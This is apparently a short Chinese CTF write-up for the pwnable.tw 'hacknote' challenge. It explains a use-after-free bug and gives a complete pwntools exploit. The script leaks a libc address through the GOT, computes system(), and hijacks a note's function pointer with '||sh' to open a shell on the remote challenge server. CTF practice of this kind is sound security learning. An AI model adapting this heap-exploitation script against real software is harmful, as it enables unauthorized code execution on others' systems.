分析程序
漏洞很简单,free掉两个指针之后没有清空,可以uaf,程序有执行函数地址的函数,因此可直接劫持流程
踩了n多坑,发篇文章纪念一下
exp
from pwn import *
p = remote("chall.pwnable.tw",10102)
#p=process("./hacknote")
elf = ELF("./hacknote")
libc = ELF("./libc_32.so.6")
read_got = elf.got["read"]
pfputs = 0x804862b
def add_note(size,index):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil("size :")
p.sendline(size)
p.recvuntil("Content :")
p.sendline(index)
def delete_note(index):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(index)
def print_note(index):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(index)
#p.interactive()
add_note("16","aaaaa")
add_note("16","aaaaa")
delete_note('0')
delete_note('1')
add_note('8',p32(pfputs)+p32(read_got))
print_note('0')
pfread = u32(p.recv()[0:4])
print hex(pfread)
pfsys = pfread - 0xd41c0 + 0x3a940
print hex(pfread - 0xd41c0)
#p.interactive()
delete_note('2')
#p.interactive()
#p.recv()
#p.interactive()
add_note('8',p32(pfsys)+"||sh")
print_note('0')
p.interactive()